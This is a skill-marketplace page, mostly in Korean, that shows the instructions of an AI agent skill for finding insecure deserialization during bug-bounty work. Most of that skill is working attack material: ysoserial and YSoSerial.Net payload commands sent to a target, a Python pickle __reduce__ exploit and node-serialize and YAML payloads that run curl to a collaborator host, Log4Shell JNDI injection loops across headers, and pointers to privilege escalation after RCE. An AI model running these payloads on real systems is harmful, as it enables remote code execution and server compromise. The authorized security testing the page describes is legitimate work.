본문으로 건너뛰기
cccskills
무료GitHub에 공개

hunt-deserialization

Investigate unsafe deserialization, where restoring objects from untrusted data can trigger code execution. The skill covers Java, PHP, Python, .NET, Ruby, and related patterns, with detection clues and callback-based checks for confirming execution.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

설치 방법 보기

이럴 때 유용합니다

  • Finding serialized data in cookies and request bodies
  • Reviewing unsafe object restoration in source code
  • Testing deserialization paths with language-specific tools
  • Confirming execution through DNS or HTTP callbacks

포함된 파일(1)

  • SKILL.md6.0 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection — __wakeup / __destruct magic methods → file write / RCE
  • Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
    
  • Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

Deserialization signalChain toImpact
Any deser RCE/etc/passwd + id outputProve arbitrary command execution
RCE as low-privilege userFind SUID binaries / sudo rulesPrivilege escalation → root
Blind RCE (OOB callback)DNS callback → confirm execSufficient for Critical PoC
Log4ShellLDAP → JNDI → class loadFull RCE on JVM process

Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Inspect Android apps for embedded credentials, internal API addresses, and components exposed to other apps. The skill guides APK acquisition, code inspection, and runtime traffic analysis to support a mobile security assessment.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Inventory Android apps included in a security assessment
  • Check APKs for embedded credentials and internal API addresses
  • Review components that other apps can invoke
elementalsouls/Claude-BugHunter5.2천2026년 10월 19일 업데이트

Guide bug bounty work from asset discovery to validation and reporting, while resolving local locations of security tools, wordlists, and cloned projects. It covers web and AI security testing with an emphasis on demonstrated impact.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Locate installed security tools and wordlists
  • Plan reconnaissance within a program's scope
  • Investigate related weaknesses and their combined impact
elementalsouls/Claude-BugHunter5.2천2026년 10월 19일 업데이트

Organize a bug bounty investigation from reconnaissance through reporting. The skill helps choose a focused objective, identify the current phase, select relevant techniques and tools, and distinguish reproducible security impact from misleading test results.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Setting objectives at the start of an investigation
  • Choosing the next step when testing stalls
  • Replanning after switching targets
elementalsouls/Claude-BugHunter5.2천2026년 10월 19일 업데이트

Guide bug bounty work from checking authorized scope and discovering assets to testing web and AI features. Validate practical impact, investigate related weaknesses, and organize reproducible evidence into a vulnerability report.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Planning research for a new bug bounty target
  • Reviewing source code for security weaknesses
  • Testing chatbot and AI feature security
elementalsouls/Claude-BugHunter5.2천2026년 10월 19일 업데이트

Prepare Bugcrowd submissions with accurate vulnerability categories, evidence-based severity requests, and explanations of program scope. Structure references between related reports, document QA testing conditions, and draft responses when a finding is downgraded or considered out of scope.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Choose a suitable Bugcrowd vulnerability category
  • Explain a severity request using demonstrated impact
  • Respond to out-of-scope decisions
elementalsouls/Claude-BugHunter5.2천2026년 10월 19일 업데이트

Assess what discovered cloud credentials allow across AWS, Azure, GCP, and Kubernetes. The skill guides identity checks, permission review, and paths to higher privileges, then helps document impact, activity, and cleanup within the engagement's agreed scope.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assess permissions granted by discovered cloud credentials
  • Review role trust and access across cloud accounts
  • Check permissions assigned to anonymous Cognito identities
elementalsouls/Claude-BugHunter5.2천2026년 10월 19일 업데이트

elementalsouls의 스킬 모두 보기

이 스킬의 문제 신고